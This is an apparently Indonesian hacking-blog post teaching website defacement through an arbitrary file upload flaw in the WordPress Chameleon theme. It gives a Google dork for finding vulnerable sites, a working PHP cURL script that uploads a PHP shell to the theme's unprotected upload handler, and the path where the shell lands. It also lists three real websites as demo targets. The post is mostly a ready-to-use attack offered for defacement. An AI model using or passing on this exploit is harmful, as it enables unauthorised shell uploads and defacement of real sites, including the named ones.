2 Exploit WordPress Chameleon theme Arbitrary File Upload Vulnerability

Satality32 - ./ halow om , ketemu lg sama saya om kali ini saya ingin berbagi ke om tentang Teknik Deface dengan cara "exploit WordPress Chameleon theme"

Teknik ini di shared oleh DaOne aka MockingBird di 1337day.com (mirror) oke langsung ajh ea om 

Google dork: inurl:/wp-content/themes/cameleon/
# Exploit

<?php
$uploadfile="yourfile.php";
$ch = curl_init("http://{Target}/wp-content/themes/cameleon/includes/fileuploader/upload_handler.php");
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>

Lokasi HasilUpload shell bisa di cek di  http://[target]/wp-content/uploads/2013/11/{filename}.php
Demo Site : 
Demo sites
http://mirrorimagecounseling.org/wp-content/themes/cameleon/includes/fileuploader/upload_handler.php
http://sakpasemedia.com/wp-content/themes/cameleon/includes/fileuploader/upload_handler.php

http://www.818420.com/wp-content/themes/cameleon/includes/fileuploader/upload_handler.php